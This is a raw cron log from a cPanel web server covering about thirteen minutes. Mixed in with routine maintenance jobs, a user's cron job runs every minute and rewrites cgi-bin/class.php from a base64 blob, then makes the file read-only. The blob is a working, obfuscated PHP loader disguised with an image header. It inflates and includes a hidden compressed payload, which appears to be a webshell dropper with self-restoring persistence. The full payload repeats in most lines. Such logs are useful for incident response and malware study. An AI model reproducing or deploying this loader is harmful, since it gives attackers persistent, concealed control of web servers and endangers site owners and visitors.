Nov 15 22:37:01 server CROND[12210]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:38:01 server CROND[12481]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:39:01 server CROND[12733]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 22:39:01 server CROND[12760]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:40:01 server CROND[13155]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 22:40:01 server CROND[13156]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 22:40:01 server CROND[13157]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:40:01 server CROND[13158]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 22:41:01 server CROND[13537]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:42:01 server CROND[13816]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 22:42:01 server CROND[13817]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:43:01 server CROND[14080]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:44:01 server CROND[14333]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:45:01 server CROND[14624]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 22:45:01 server CROND[14625]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:45:01 server CROND[14626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 22:46:01 server CROND[15042]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:47:01 server CROND[15333]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:48:01 server CROND[15602]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:49:01 server CROND[15861]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:50:01 server CROND[16128]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 22:50:01 server CROND[16129]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 22:50:01 server CROND[16130]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 22:50:01 server CROND[16131]: (root) CMD (/usr/lib64/sa/sa1 1 1)
